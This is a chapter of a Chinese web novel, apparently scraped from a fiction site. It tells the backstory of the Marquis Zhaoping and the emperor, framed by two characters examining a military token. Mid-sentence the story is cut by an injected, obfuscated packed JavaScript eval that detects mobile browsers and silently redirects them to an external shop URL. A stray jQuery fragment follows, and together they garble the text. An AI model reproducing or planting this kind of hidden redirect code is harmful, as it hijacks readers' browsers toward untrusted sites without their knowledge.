文趣网 > 都市小说 > 明月照寒刃 > 49. 君臣
    “怎么了?”景流霜拾掇完厨房,一边擦着手一边问道。

    温寂月将令牌举给他看,景流霜看到令牌上的“崇吾营”三个字,神色微变。

    温寂月察觉到他的异样,追问道:“这令牌有什么来头?”

    景流霜沉默片刻,指节紧贴在湿漉漉的布巾之上,力气有些大,因此将那布巾拧出几滴冰冷的水珠。

    温寂月推了推他,询问道:“可是这块令牌有异?”

    景流霜轻轻吐出一口气,将厨房的暖黄烛火吹熄,周遭霎时陷入昏暗,唯有月光飘摇着洒下来,笼在两个人身边。

    “崇吾营,是已逝昭平侯的一支亲卫军,据说昭平侯死后,这支亲卫便随之覆灭,再无人知晓其下落。”他的声音很沉,温寂月只能借着一点月光看清他眼底的晦暗情绪。

    像是在云涅的那一晚,热闹与喧哗褪去,他们两个人静静地走在山路上,温寂月能看到被月色笼罩的景流霜。

    月光是没有温度的,所以衬得景流霜也十分凄冷。

    现在亦如是。

    其实温寂月总是能隐约察觉到景流霜身上对这个世界的疏离,只是他对她的喜爱实在有些浓烈,浓烈到温寂月觉得自己就是景流霜在这个世界上唯一的锚点。

    她也曾在心底暗自疑惑,景流霜是铸雪山庄的少主,据他的回忆自己的父亲母亲十分恩爱,对他也是极尽疼爱,可是为何他会身中红谷蝉,时日无多时却选择在云涅独自等死。

    温寂月忽然觉出这块令牌的危险,不敢再往下细想,准备将令牌收入袖中。

    景流霜却伸手握住她攥着令牌的那只手,将她的手掌连同令牌一起拢进自己掌心。

    “寂月,如果此间事了,你愿意同我回铸雪山庄吗?”

    景流霜声音低缓,目光温柔地落在温寂月的眉眼上,眼里虽有些悲凉,但是仍然安抚般望着温寂月。

    温寂月感受着他掌心的温度,心口忽然一滞,有些酸涩的情绪堵在喉间。

    她点了点头,微微仰起脸,月光便顺着她的轮廓拢过,落在她微微弯起的唇角上。

    “好。”她轻声应道。

    景流霜心念一动,将她轻轻拥入怀中,下巴抵在她发顶,声音闷闷的:“如今能给得出这块令牌的人,屈指可数。”

    “昭平侯的姓名,现在早已成了禁忌。”景流霜慢慢讲起一段往事。

    昭平侯慕青逍,曾是帝王最倚重的臣子。慕青逍自小生长在边关,十三岁时和父亲慕老将军一起戍卫北境,十五岁随军出征,十七岁便率一千轻骑奇袭敌后,烧毁粮草,助大军扭转局势,一战成名。

    而这位少年将军的锋芒,并未止步于边关。他回京述职那日,已经年老的帝王在御书房单独召见了他。

    那一日,慕青逍的名字真正传遍了京城。

    帝王爱惜将才,破格擢升他为云麾将军,特许他出入宫禁无需通传。

    这份殊荣,满朝文武无人能及。

    彼时,当今帝王还是东宫太子,与慕青逍年纪相仿,二人在宫宴上遥遥举杯,却并未深交。

    太子名字唤作君元禧,排行第三,前头还有两位兄长,朝中势力盘根错节,他虽然贵为储君,却也不到高枕无忧的地步。

    慕青逍与君元禧的第一次深交,是因为一匹北地州县进献的骏马。

    那匹马通体乌黑,唯有眉心一点白,神俊非凡。君元禧在御马苑见了,爱不释手,当即就要跨马试骑。

    可那马性子烈,见生人靠近便扬蹄嘶鸣,御马苑的驯马师都近不得身。慕青逍恰好陪着帝王来御马苑观赏,帝王见此情景,便笑着对君元禧说:“若是元禧能驯服得了这匹马,朕便将他赐给你。”

    君元禧闻言,当即跃跃欲试。

    那马嘶鸣着后退,君元禧追了几步,提着缰绳猛地翻身上马,黑马扬起蹄子要将君元禧摔下马背,他却手提缰绳死死勒住,任凭那马如何颠簸,始终稳稳坐在马背上。

    黑马围着御马苑狂奔了数圈,终于渐渐安静下来,步调放缓载着意气风发的君元禧在御马苑里乘风奔驰。

    帝王满眼赞许地看着太子,正要与慕青逍说话,却见那黑马忽然前蹄高高扬起,发出一声长嘶,君元禧猝不及防,身子猛地向后仰去。

    黑马前蹄落地,竟又猛地尥起后蹄,君元禧身形一晃,眼看就要被甩下马背,看台上的众人都惊慌起来。

    这匹黑马显然已经癫狂,君元禧骑术再好也无法掌控它。君元禧乃是当朝太子,绝不能有失,现在唯一的办法便是舍了这匹宝马,让太子安稳落地。

    慕青逍听身边太监那焦急的声音,眉心微微一蹙。

    一匹如此品相的骏马,在北地军中可以让一名斥候在敌阵中来去自如,免去数十名精锐的牺牲。

    可是却要因为贵人的一时兴起,被轻易射杀取了性命。

    慕青逍虽隐隐有些气恼,却也知道食君之禄,忠君之事,他此刻应当护住太子周全。

    他正要抬手示意,却见君元禧忽然松开缰绳,整个人伏低了身子贴在马背之上,双手紧紧环住马颈,双腿夹紧马腹,整个人与黑马融为一体。

    “慢着。”帝王止住太监的动作,已经有了冗沉褶皱的眼睛微微眯起,紧紧盯着场中的那道身影。

    那马尥蹶子、甩头、狂奔,种种手段使尽,却始终无法将君元禧甩下去。

    直到黑马渐渐力竭,终于停下脚步,喘着粗气,温顺地垂下了头。

    君元禧翻身下马,轻拍黑马的颈项,眼里带着赞叹。

    他擦去额间汗珠,整顿好周身衣物,又是那个周瑾自持的太子殿下。

    君元禧缓步走上看台,在帝王面前站定,躬身行礼。

    他低垂着头,任由帝王将他打量许久。

    余光里只有那一角红得鲜明的衣袍,精美的袍角绣着一株歪歪扭扭的橙花。

    他百无聊赖地想着,这橙花的香味十分浓郁,他曾在某位大侠的院子里闻到过,实在是让他有些头晕。

    因此在这里看见,他不由得恍惚似闻到了那香得避无可避的橙花气味,连带着那院中满树繁花、蜂蝶乱舞的景象,也一并浮现在眼前。

    他正出神,就听帝王语气沉沉开口:“朕的好儿子,果然没有辜负朕对你的期望。”

    那橙花也应声而动,卷进锦袍褶皱深处再也看不见了,只有周围“恭贺陛下、恭贺太子殿下”的呼声此起彼。

    君元禧直起身,面上挂着恰到好处的谦逊笑意,向帝王再次行礼,又转向跟着的几位朝臣,拱手致意。

    他目光扫过人群,落在慕青逍的身上,看到他神采奕奕看向自己,是发自内心毫不掩饰的叹服和赞许。

    君元禧心头微动,面上却不露分毫,只朝慕青逍微微颔首,便随帝王一同离了御马苑。

    那一晚,二皇子君元胤被召入御书房,深夜随同他一起出来的是一纸遣他去封地的诏书。

    本来和君元胤有些交情的老臣们,忙递了辞官回乡的折子。

    穆青逍却在深夜提了京都特有的涧底春,独自叩响了二皇子的府门。

    与来送别二哥的君元禧迎头撞上,两人俱是吃了一道闭门羹。

    回去的路上,慕青逍还在感叹,未能在离京之前再见二皇子一面,实在有些遗

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17884485|206007||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    憾。

    君元禧温声安慰穆青逍,也道君元胤此去封地,山高路远怕是除了年节,再难见上一面。

    穆青逍感慨太子果然胸襟开阔,刚才吃了闭门羹也不见半分恼意,反倒可惜与君元胤聚少离多,甚至还劝他莫要太过伤怀。

    自此之后,君元禧与慕青逍的往来便多了起来,直到慕青逍回到北境,两人仍以书信往来,虽相隔千里,情谊却未曾疏淡。

    直到京都传来帝王病重的消息,君元禧的书信骤然断了。

    穆青逍已是北境主帅,手握重兵。

    他当即修书一封,遣心腹快马送入京都,信中只问君元禧安好。

    那封信送出之后,慕青逍便日日候在军帐中,等着京都的回音。

    可一连数日,送出去的信如石沉大海,穆青逍心中愈发不安,却不能轻举妄动。

    直到半月后,一名自称东宫幕僚的人风尘仆仆地叩响了穆青逍的军帐。

    帝王病危,大皇子觊觎皇位,与远在封地的二皇子暗中勾结,意图在京都生变。

    这是君元禧在请慕青逍率北境精锐,以勤王之名驰援京都。

    去与不去,在慕青逍的一念之间。

    慕家祖训,世代忠君,不涉党争。

    北境军务,亦不可轻离。

    副将劝慕青逍三思,京中情势不明,若是驰援,便是将整个身价性命都押在了太子身上。

    就算太子胜利,穆青逍擅离北境,亦会被言官狠狠参上一本,帝王心意谁也无法揣度。

    穆青逍沉默良久,在边关城墙上吹了一夜的冷分,翌日清晨,他召来副将,将北境防务细细交代了一遍,留副将代守北境,自己则率两千亲卫,轻骑简从,日夜兼程,直奔京都而去。

    北境距京都千里之遥,慕青逍一路疾驰,当年的那匹黑马也倒在了距离京都百里的山坳下,他们终于在第七日深夜抵达京都城外。

    京都内最后一声丧钟尚未敲响,但是城下二皇子的叛军已经持刀撞门了。

    穆青逍率军与叛军短兵相接,叛军溃败,君元胤在夕阳的余晖与残旌之间最后看了穆青逍一眼,目光里没有不甘,只有十分平静的释然。

    穆青逍忽然觉得天昏地暗,他想要上前,却见君元胤已将刀横于颈上,血溅残阳。

    穆青逍的战甲磕上君元胤清癯的骨骼,血液顺着冷硬的纹路淌下。

    君元胤倒在他的怀里,扯唇一笑:“阿逍,我在黄泉等你,你不要来得太迟。”

    城门打开,穆青逍率军入城,马蹄踏过满地残血,直抵宫门。

    宫门内,素缟高悬,慕青逍一步一步走上丹墀,殿内烛火明灭,映出宝座前的人影。

    那人背对着他,慕青逍看不清他的神色,却能看到横躺在宝座下的尸身,那是大皇子君元启。

    慕青逍提着的长枪很重,殿内的烛火也很亮,长枪拖着穆青逍往下坠,光晕又牵着穆青逍往上飘。

    他开口,唤了一声:“殿下。”

    就在今夜,这里站着的,不再是他的殿下,而是他的君王。

    君元禧有没有回头,慕青逍忘却了。

    新皇登基,穆青逍得封昭平侯,食邑三千户。

    北境军队由帝王胞弟君元彻接管,穆青逍则留在京都,执掌禁军,护卫宫城。

    而与穆青逍一同入京的亲卫,则被编入崇吾营,名义上隶属禁军,实则只听昭平侯一人号令。

    穆青逍自此在京中长居,君元禧信任这位近臣,朝中大小事务皆与之商议。

    可是伴随这等殊荣的,是漫天纷飞的弹劾奏折,朝中无一人敢与慕青逍交好。